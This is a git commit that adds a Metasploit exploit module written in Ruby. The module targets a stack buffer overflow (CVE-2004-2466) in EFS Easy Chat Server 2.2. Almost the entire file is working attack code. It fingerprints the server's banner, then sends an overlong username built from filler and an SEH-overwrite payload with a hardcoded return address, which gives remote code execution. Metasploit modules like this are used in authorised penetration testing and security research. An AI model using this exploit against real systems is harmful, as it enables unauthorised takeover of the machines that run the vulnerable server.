Added exploit module efs_easychatserver_username from LSO.

git-svn-id: file:///home/svn/framework3/trunk@6280 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/efs_easychatserver_username.rb

@@ -0,0 +1,89 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in EFS Software Easy Chat Server. By
+				sending a overly long authentication request, an attacker may be able to execute
+				arbitrary code.
+			},
+			'Author'         => [ 'LSO <lso[@]hushmail.com>' ],
+			'License'        => BSD_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'BID', '25328' ],
+					[ 'OSVDB', '7416' ],
+					[ 'CVE', '2004-2466' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					'Space'    => 500,
+					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					[ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
+				],
+			'DisclosureDate' => 'Aug 14 2007',
+			'DefaultTarget'  => 0))
+			
+			register_options( [ Opt::RPORT(80) ], self.class )
+	end
+
+	def check
+		res = send_request_raw
+			
+			if res and res['Server'] =~ /Easy Chat Server\/1.0/
+				return Exploit::CheckCode::Appears
+			end
+
+			return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		# randomize some values.
+		val = rand_text_alpha(rand(10) + 1)
+		num = rand_text_numeric(1)
+
+		# exploit buffer.
+		filler = rand_text_alpha(216)
+		seh    = generate_seh_payload(target.ret)
+		juju = filler + seh
+
+		uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#{val}=#{num}"
+
+		print_status("Trying target #{target.name}...")
+
+		send_request_raw({'uri' => uri}, 5)
+
+		handler
+		disconnect
+	end
+
+end
+